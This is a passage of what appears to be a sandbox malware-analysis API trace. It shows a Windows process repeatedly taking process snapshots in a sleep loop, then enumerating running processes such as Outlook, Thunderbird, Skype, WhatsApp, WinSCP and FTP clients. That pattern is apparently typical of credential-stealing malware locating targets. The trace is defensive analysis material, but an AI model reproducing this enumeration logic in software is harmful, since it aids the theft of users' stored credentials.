th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0192.813] Sleep (dwMilliseconds=0x64) [0192.967] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1c48 [0193.072] Process32First (in: hSnapshot=0x1c48, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0193.193] Sleep (dwMilliseconds=0x64) [0193.195] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1c48 [0193.208] Process32First (in: hSnapshot=0x1c48, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0193.322] Sleep (dwMilliseconds=0x64) [0193.324] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1c48 [0193.337] Process32First (in: hSnapshot=0x1c48, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0193.443] Sleep (dwMilliseconds=0x64) [0193.445] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1c48 [0193.457] Process32First (in: hSnapshot=0x1c48, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0193.579] Sleep (dwMilliseconds=0x64) [0193.580] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1c48 [0193.605] Process32First (in: hSnapshot=0x1c48, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0193.734] Sleep (dwMilliseconds=0x64) [0193.736] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1c48 [0193.760] Process32First (in: hSnapshot=0x1c48, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0194.284] Sleep (dwMilliseconds=0x64) [0194.385] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1c48 [0194.402] Process32First (in: hSnapshot=0x1c48, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0194.587] Sleep (dwMilliseconds=0x64) [0194.588] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1c48 [0194.606] Process32First (in: hSnapshot=0x1c48, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0194.675] Sleep (dwMilliseconds=0x64) [0194.677] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1c48 [0194.744] Process32First (in: hSnapshot=0x1c48, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0194.808] Sleep (dwMilliseconds=0x64) [0194.938] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1c48 [0194.961] Process32First (in: hSnapshot=0x1c48, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0195.180] Sleep (dwMilliseconds=0x64) [0195.293] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1c48 [0195.310] Process32First (in: hSnapshot=0x1c48, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0195.558] Sleep (dwMilliseconds=0x64) [0195.574] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1c48 [0195.590] Process32First (in: hSnapshot=0x1c48, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0195.737] Sleep (dwMilliseconds=0x64) [0195.761] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1c48 [0195.774] Process32First (in: hSnapshot=0x1c48, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0195.900] Sleep (dwMilliseconds=0x64) [0195.911] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1c48 [0196.573] Process32First (in: hSnapshot=0x1c48, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0196.690] Sleep (dwMilliseconds=0x64) [0196.692] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1c48 [0196.713] Process32First (in: hSnapshot=0x1c48, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0196.783] Sleep (dwMilliseconds=0x64) [0196.784] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1c48 [0196.848] Process32First (in: hSnapshot=0x1c48, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0196.923] Sleep (dwMilliseconds=0x64) [0197.089] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1c48 [0197.110] Process32First (in: hSnapshot=0x1c48, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0197.383] Sleep (dwMilliseconds=0x64) [0197.521] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1c48 [0197.533] Process32First (in: hSnapshot=0x1c48, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0198.655] Sleep (dwMilliseconds=0x64) [0198.656] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1c48 [0198.675] Process32First (in: hSnapshot=0x1c48, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0198.855] Sleep (dwMilliseconds=0x64) [0199.025] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1c48 [0199.053] Process32First (in: hSnapshot=0x1c48, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0199.231] Sleep (dwMilliseconds=0x64) [0199.233] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1c48 [0199.246] Process32First (in: hSnapshot=0x1c48, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0199.513] Sleep (dwMilliseconds=0x64) [0199.515] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1c48 [0199.527] Process32First (in: hSnapshot=0x1c48, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0199.598] Sleep (dwMilliseconds=0x64) [0199.667] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1c48 [0199.723] Process32First (in: hSnapshot=0x1c48, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0199.809] Sleep (dwMilliseconds=0x64) [0199.810] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1c48 [0199.824] Process32First (in: hSnapshot=0x1c48, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0199.961] Sleep (dwMilliseconds=0x64) [0199.963] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1c48 [0200.015] Process32First (in: hSnapshot=0x1c48, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0200.205] Sleep (dwMilliseconds=0x64) [0200.321] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1c48 [0200.339] Process32First (in: hSnapshot=0x1c48, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0200.530] Sleep (dwMilliseconds=0x64) [0200.672] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1c48 [0200.685] Process32First (in: hSnapshot=0x1c48, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0200.801] Sleep (dwMilliseconds=0x64) [0200.802] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1c48 [0200.825] Process32First (in: hSnapshot=0x1c48, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0201.076] Sleep (dwMilliseconds=0x64) [0201.078] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1c48 [0201.096] Process32First (in: hSnapshot=0x1c48, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0201.288] Sleep (dwMilliseconds=0x64) [0201.305] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1c48 [0201.322] Process32First (in: hSnapshot=0x1c48, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0201.409] Sleep (dwMilliseconds=0x64) [0201.528] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1c48 [0201.692] Process32First (in: hSnapshot=0x1c48, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0201.779] Sleep (dwMilliseconds=0x64) [0201.833] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x21a4 [0201.877] Process32First (in: hSnapshot=0x21a4, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0201.950] Sleep (dwMilliseconds=0x64) [0201.952] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x21a4 [0201.965] Process32First (in: hSnapshot=0x21a4, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0202.142] Sleep (dwMilliseconds=0x64) [0202.144] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x21a4 [0202.157] Process32First (in: hSnapshot=0x21a4, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0202.255] Sleep (dwMilliseconds=0x64) [0202.257] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x21a4 [0202.269] Process32First (in: hSnapshot=0x21a4, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0202.369] Sleep (dwMilliseconds=0x64) [0202.371] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x21a4 [0202.383] Process32First (in: hSnapshot=0x21a4, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0202.451] Sleep (dwMilliseconds=0x64) [0202.452] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x21a4 [0202.465] Process32First (in: hSnapshot=0x21a4, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0202.566] Sleep (dwMilliseconds=0x64) [0202.568] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x21a4 [0202.584] Process32First (in: hSnapshot=0x21a4, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0203.263] Sleep (dwMilliseconds=0x64) [0203.279] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x11c8 [0203.305] Process32First (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0203.630] Sleep (dwMilliseconds=0x64) [0203.633] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x11c8 [0203.648] Process32First (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0203.770] Sleep (dwMilliseconds=0x64) [0203.830] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x598 [0203.849] Process32First (in: hSnapshot=0x598, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0203.961] Sleep (dwMilliseconds=0x64) [0203.963] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x598 [0203.985] Process32First (in: hSnapshot=0x598, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0204.095] Sleep (dwMilliseconds=0x64) [0204.096] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x598 [0204.118] Process32First (in: hSnapshot=0x598, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0204.213] Sleep (dwMilliseconds=0x64) [0204.217] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x598 [0204.246] Process32First (in: hSnapshot=0x598, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0204.378] Sleep (dwMilliseconds=0x64) [0204.556] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x598 [0204.568] Process32First (in: hSnapshot=0x598, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0204.804] Sleep (dwMilliseconds=0x64) [0204.910] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x598 [0204.925] Process32First (in: hSnapshot=0x598, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0205.021] Sleep (dwMilliseconds=0x64) [0205.022] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x598 [0205.034] Process32First (in: hSnapshot=0x598, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0205.098] Sleep (dwMilliseconds=0x64) [0205.100] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x598 [0205.164] Process32First (in: hSnapshot=0x598, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0205.236] Sleep (dwMilliseconds=0x64) [0205.280] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x11c8 [0205.295] Process32First (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0205.509] Sleep (dwMilliseconds=0x64) [0205.662] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x11c8 [0205.678] Process32First (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0205.909] Sleep (dwMilliseconds=0x64) [0206.012] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x11c8 [0206.024] Process32First (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0206.198] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1044, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="outlook.exe")) returned 1 [0206.201] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1054, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0206.203] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x105c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0206.205] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1070, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0206.209] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1078, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0206.211] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1088, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0206.213] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1090, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0206.215] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x109c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0206.218] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0206.220] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0206.222] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0206.224] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, 